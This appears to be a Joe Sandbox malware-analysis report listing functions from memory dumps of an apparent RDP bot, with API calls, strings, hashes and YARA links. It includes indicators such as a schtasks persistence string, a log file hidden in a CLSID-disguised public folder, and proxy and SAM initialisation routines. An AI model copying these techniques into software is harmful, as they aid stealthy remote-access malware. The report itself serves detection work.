Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpinfflushfwrite
String ID: $Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_proxies) failed(gle=%lu)$[I] (%s) -> %s$proxy_init$~
API String ID: 3179112426-3318474754
Opcode ID: 3bf602e0163212c75ed81c57b8ccc5374dcd8ffabe5220b955216cce5e13afa9
Instruction ID: 86d01740d5396e5df4845fb854c92d21b9e2246347f93b25eb4ff050f73164ba
Opcode Fuzzy Hash: 3bf602e0163212c75ed81c57b8ccc5374dcd8ffabe5220b955216cce5e13afa9
Instruction Fuzzy Hash: 8331D650E1C68382FB215F5CA4C03B86294AF063E4F664932C75E462B3DE5DBD85B322

Function 00007FF8B9155A84 Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 77COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8B9155A95
GetLastError.KERNEL32 ref: 00007FF8B9155AD4

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

sam_init, xrefs: 00007FF8B9155AB4, 00007FF8B9155ADF, 00007FF8B9155B9A
Done, xrefs: 00007FF8B9155AAD
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_sam) failed(gle=%lu), xrefs: 00007FF8B9155AE6
, xrefs: 00007FF8B9155AF2
~, xrefs: 00007FF8B9155B4F
P, xrefs: 00007FF8B9155B54
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B9155BA1
[I] (%s) -> %s, xrefs: 00007FF8B9155ABB

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpinfflushfwrite
String ID: $Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_sam) failed(gle=%lu)$[I] (%s) -> %s$sam_init$~
API String ID: 3179112426-2019511216
Opcode ID: bc9b366e1df2dffc722dcc5d192f50d0005bfb0d33aee01d23c5aa0be7fbb622
Instruction ID: 314d58a39b00f78a14d885fedfcd0eb8c61d4e20236455cca1c6c31ad79b8b6f
Opcode Fuzzy Hash: bc9b366e1df2dffc722dcc5d192f50d0005bfb0d33aee01d23c5aa0be7fbb622
Instruction Fuzzy Hash: 1F31E960E0C78782FB215F1CA4D83BD22629F043C4FA65536D70E462A1DE7EB985F751

Function 00007FF8BA50A060 Relevance: 16.6, APIs: 9, Strings: 2, Instructions: 145stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8BA50A0FA
strlen.MSVCRT ref: 00007FF8BA50A116
strlen.MSVCRT ref: 00007FF8BA50A127
strlen.MSVCRT ref: 00007FF8BA50A161
strlen.MSVCRT ref: 00007FF8BA50A17D
strcpy.MSVCRT ref: 00007FF8BA50A199
strlen.MSVCRT ref: 00007FF8BA50A1A1
strlen.MSVCRT ref: 00007FF8BA50A1B0
strlen.MSVCRT ref: 00007FF8BA50A1C5

Strings

schtasks, xrefs: 00007FF8BA50A12F
*, xrefs: 00007FF8BA50A1A6

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: strlen$strcpy
String ID: *$schtasks
API String ID: 2790333442-2394224502
Opcode ID: 49773f8b016588153e9639c0d4cdf904ddd36bceb3f1ef689c3b893e88a01043
Instruction ID: aed607c36184697332da19e459bb665b18b17adbd25dc08a134b4b8d12dbeab1
Opcode Fuzzy Hash: 49773f8b016588153e9639c0d4cdf904ddd36bceb3f1ef689c3b893e88a01043
Instruction Fuzzy Hash: 6A51B422A4C683CAF7719A9DAC953BE5251AB963C4F4800B5EF4E473E6DE7DDB048700

Function 00007FF8BFAB660A Relevance: 16.6, APIs: 7, Strings: 4, Instructions: 104memorysleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BFAB1C0A: recv.WS2_32 ref: 00007FF8BFAB1C32

Sleep.KERNEL32 ref: 00007FF8BFAB6662

Part of subcall function 00007FF8BFABA202: fwrite.MSVCRT ref: 00007FF8BFABA2AE
Part of subcall function 00007FF8BFABA202: fflush.MSVCRT ref: 00007FF8BFABA2BA

LeaveCriticalSection.KERNEL32 ref: 00007FF8BFAB66B5
memcpy.MSVCRT ref: 00007FF8BFAB66D1
GetProcessHeap.KERNEL32 ref: 00007FF8BFAB66F3
HeapAlloc.KERNEL32 ref: 00007FF8BFAB6704
memcpy.MSVCRT ref: 00007FF8BFAB6725
EnterCriticalSection.KERNEL32 ref: 00007FF8BFAB677D

Strings

mem_alloc, xrefs: 00007FF8BFAB667D
[D] (%s) -> Got an event(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s)), xrefs: 00007FF8BFAB676A
routine_rx, xrefs: 00007FF8BFAB6763
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFAB6684

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: CriticalHeapSectionmemcpy$AllocEnterLeaveProcessSleepfflushfwriterecv
String ID: [D] (%s) -> Got an event(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s))$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$routine_rx
API String ID: 3537583691-1494920791
Opcode ID: d542514265604fe80ee2d18cc6880337692ea211fc3233fba6a32265b22876f4
Instruction ID: 28e51d95f12ae4c178f091e5892c249e49ac5703b15a57fdf357aa5003566d2e
Opcode Fuzzy Hash: d542514265604fe80ee2d18cc6880337692ea211fc3233fba6a32265b22876f4
Instruction Fuzzy Hash: A1419A62A08B4286EB188F99E85667A67A0FB44BCCF446035DF0D43796EE3CE489C700

Function 00007FF7088799E2 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FF708879A8E
fflush.MSVCRT ref: 00007FF708879A9A
EnterCriticalSection.KERNEL32(service,000001B9FFF913D0,?,00007FF7088884F0,00007FF7088713B7,?,?,?,?,?,?,00007FF7088784AF), ref: 00007FF708879AB3
LeaveCriticalSection.KERNEL32(?,00007FF7088884F0,00007FF7088713B7,?,?,?,?,?,?,00007FF7088784AF), ref: 00007FF708879ADB
CopyFileA.KERNEL32 ref: 00007FF708879B38

Strings

1, xrefs: 00007FF708879B22
service, xrefs: 00007FF7088799E5
., xrefs: 00007FF708879B1D
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log, xrefs: 00007FF708879AFB

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: CriticalSection$CopyEnterFileLeavefflushfwrite
String ID: .$1$C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log$service
API String ID: 513531256-4171087551
Opcode ID: 3aa85008c737a7422c3167a565b94840adc05c6d64a34166f4daf9ff1a3abf69
Instruction ID: 9d2a3bb88da730f062ef7a2f57ce0887d08487f59c0ac2e4a3c20e336e04a467
Opcode Fuzzy Hash: 3aa85008c737a7422c3167a565b94840adc05c6d64a34166f4daf9ff1a3abf69
Instruction Fuzzy Hash: B0416B21A6C64286F320FB15EC55BAAE6A1FF88B84FC40031DA4D577D5CF3CE5A18768

Function 00007FF8BFB58AB4 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8BFB58B50
_strtoui64.MSVCRT ref: 00007FF8BFB58B66
_errno.MSVCRT ref: 00007FF8BFB58B70
_errno.MSVCRT ref: 00007FF8BFB58B7C

Strings

[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8BFB58BA3
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB58B36
(value != NULL), xrefs: 00007FF8BFB58B28
ini_get_uint64, xrefs: 00007FF8BFB58B2F, 00007FF8BFB58B9C
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB58B21

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2069802722
Opcode ID: 13a4dc5d4aef767626a2686ae3962c350040e320f9c49377ac2aaf778c88b94f
Instruction ID: b0de49f1424ae57908a201f7c79efa8160a963368e0d18f1f08b488ea54e4b06
Opcode Fuzzy Hash: 13a4dc5d4aef767626a2686ae3962c350040e320f9c49377ac2aaf778c88b94f
Instruction Fuzzy Hash: 5F217C62A09A86A5E7119F99FC50BAA7365FB447C4F444032EF4C47764DF3CE995C700

Function 00007FF8BFB8CA74 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8BFB8CB10
_strtoui64.MSVCRT ref: 00007FF8BFB8CB26
_errno.MSVCRT ref: 00007FF8BFB8CB30
_errno.MSVCRT ref: 00007FF8BFB8CB3C

Strings

(value != NULL), xrefs: 00007FF8BFB8CAE8
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8BFB8CB63
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB8CAF6
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB8CAE1
ini_get_uint64, xrefs: 00007FF8BFB8CAEF, 00007FF8BFB8CB5C

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2069802722
Opcode ID: 86f798423a90631b684bbec975e772917ddb9f341768e14ebb927b92ead05de6
Instruction ID: 1b2a34692f54fe5f1fdebf2969dc601f2bd5b56e31d2b2d2b822f3f7aca0edf6
Opcode Fuzzy Hash: 86f798423a90631b684bbec975e772917ddb9f341768e14ebb927b92ead05de6
Instruction Fuzzy Hash: EE217CA2A09A4696E6519F9DFC407AA73A0FB887D4F848036EF4C477A5DF3CE945C700

Function 00007FF8B915C974 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8B915CA10
_strtoui64.MSVCRT ref: 00007FF8B915CA26
_errno.MSVCRT ref: 00007FF8B915CA30
_errno.MSVCRT ref: 00007FF8B915CA3C

Strings

(value != NULL), xrefs: 00007FF8B915C9E8
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8B915C9E1
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B915C9F6
ini_get_uint64, xrefs: 00007FF8B915C9EF, 00007FF8B915CA5C
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8B915CA63

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2069802722
Opcode ID: 58423ba29739921012416d05e5dbc1509c7eb61d3be863f7a2f3912cda20af73
Instruction ID: ba875c8e43ea3cc856875f75497227ea4a52b77d27b5d8b1ba02779c9c239d61
Opcode Fuzzy Hash: 58423ba29739921012416d05e5dbc1509c7eb61d3be863f7a2f3912cda20af73
Instruction Fuzzy Hash: 1A21AB62A08BC396E6129F1CF8407AA3765BB857C8F454032EF8C47665DF3CE985E700

Function 00007FF8BFAB94F4 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8BFAB9590
_strtoui64.MSVCRT ref: 00007FF8BFAB95A6
_errno.MSVCRT ref: 00007FF8BFAB95B0
_errno.MSVCRT ref: 00007FF8BFAB95BC

Strings

ini_get_uint64, xrefs: 00007FF8BFAB956F, 00007FF8BFAB95DC
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFAB9576
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFAB9561
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8BFAB95E3
(value != NULL), xrefs: 00007FF8BFAB9568

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2069802722
Opcode ID: 591d9c77f18678ec0f49fccd3905a1aec4a9850be8c5e59c2f1693f793faafe9
Instruction ID: 46f0709e31955beeb25d233a29e29e87e7fe66cbad7768e47212928abf92e3c6
Opcode Fuzzy Hash: 591d9c77f18678ec0f49fccd3905a1aec4a9850be8c5e59c2f1693f793faafe9
Instruction Fuzzy Hash: 56219161A08A4699E3159F99FC827AA3768BB487CCF445132EF4C47765DF3DD889C700

Function 00007FF8BA507AB4 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8BA507B50
_strtoui64.MSVCRT ref: 00007FF8BA507B66
_errno.MSVCRT ref: 00007FF8BA507B70
_errno.MSVCRT ref: 00007FF8BA507B7C

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA507B36
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BA507B21
(value != NULL), xrefs: 00007FF8BA507B28
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8BA507BA3
ini_get_uint64, xrefs: 00007FF8BA507B2F, 00007FF8BA507B9C

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2069802722
Opcode ID: b301655ed76bfcb65bf27385b654fd88f5a2592561199eef133ef872ace53a75
Instruction ID: bf5530aeffd1650932a01a8f9068287ecfac999aba1bbe44d7e28cb4232bd1e1
Opcode Fuzzy Hash: b301655ed76bfcb65bf27385b654fd88f5a2592561199eef133ef872ace53a75
Instruction Fuzzy Hash: 6C214B2160CA43DAE6619F99EC807AA73A4FB467C8F444172EF4D47664DF3CEA89C700

Function 00007FF8B9189004 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8B91890A0
_strtoui64.MSVCRT ref: 00007FF8B91890B6
_errno.MSVCRT ref: 00007FF8B91890C0
_errno.MSVCRT ref: 00007FF8B91890CC

Strings

ini_get_uint64, xrefs: 00007FF8B918907F, 00007FF8B91890EC
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B9189086
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8B91890F3
(value != NULL), xrefs: 00007FF8B9189078
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8B9189071

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2069802722
Opcode ID: 7feb5f99be34bff91d77dfd5db5aa2204c62c6314b7ac8121db4399c85ba9e29
Instruction ID: fb7d2605498d6a04d36d5840b025d926639e05d7b175cbdbc1f31ad4bcf1e0b0
Opcode Fuzzy Hash: 7feb5f99be34bff91d77dfd5db5aa2204c62c6314b7ac8121db4399c85ba9e29
Instruction Fuzzy Hash: E6217A22A08A8696F6219F19F8807AA77A5BB447D4F444032EF4C47766DF3DD986F700

Function 00007FF8BFAB8FD0 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BFAB90BC

Strings

ini_get_var, xrefs: 00007FF8BFAB9019, 00007FF8BFAB904C, 00007FF8BFAB907F, 00007FF8BFAB90E6, 00007FF8BFAB912E
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFAB9020, 00007FF8BFAB9053, 00007FF8BFAB9086
NULL, xrefs: 00007FF8BFAB914E, 00007FF8BFAB9157
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFAB900B, 00007FF8BFAB903E, 00007FF8BFAB9071
(name != NULL), xrefs: 00007FF8BFAB9045
(sec != NULL), xrefs: 00007FF8BFAB9012
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF8BFAB90ED
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF8BFAB9135
(var != NULL), xrefs: 00007FF8BFAB9078

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var
API String ID: 1004003707-2568489879
Opcode ID: 6b049bc3d6c029a052e072fb1fc95993046fbce77934b4af55192470ce624f2e
Instruction ID: 556cf51f723767135a0144a592fd5934884a3d408bb6a427666a1e1da5c66b31
Opcode Fuzzy Hash: 6b049bc3d6c029a052e072fb1fc95993046fbce77934b4af55192470ce624f2e
Instruction Fuzzy Hash: 574159A1A0CA47A5FA699BD9AC833F46360AF483CCF446432DB5C06196DF7DEA59D300

Function 00007FF8BA507590 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BA50767C

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA5075E0, 00007FF8BA507613, 00007FF8BA507646
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BA5075CB, 00007FF8BA5075FE, 00007FF8BA507631
NULL, xrefs: 00007FF8BA50770E, 00007FF8BA507717
(name != NULL), xrefs: 00007FF8BA507605
ini_get_var, xrefs: 00007FF8BA5075D9, 00007FF8BA50760C, 00007FF8BA50763F, 00007FF8BA5076A6, 00007FF8BA5076EE
(sec != NULL), xrefs: 00007FF8BA5075D2
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF8BA5076F5
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF8BA5076AD
(var != NULL), xrefs: 00007FF8BA507638

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

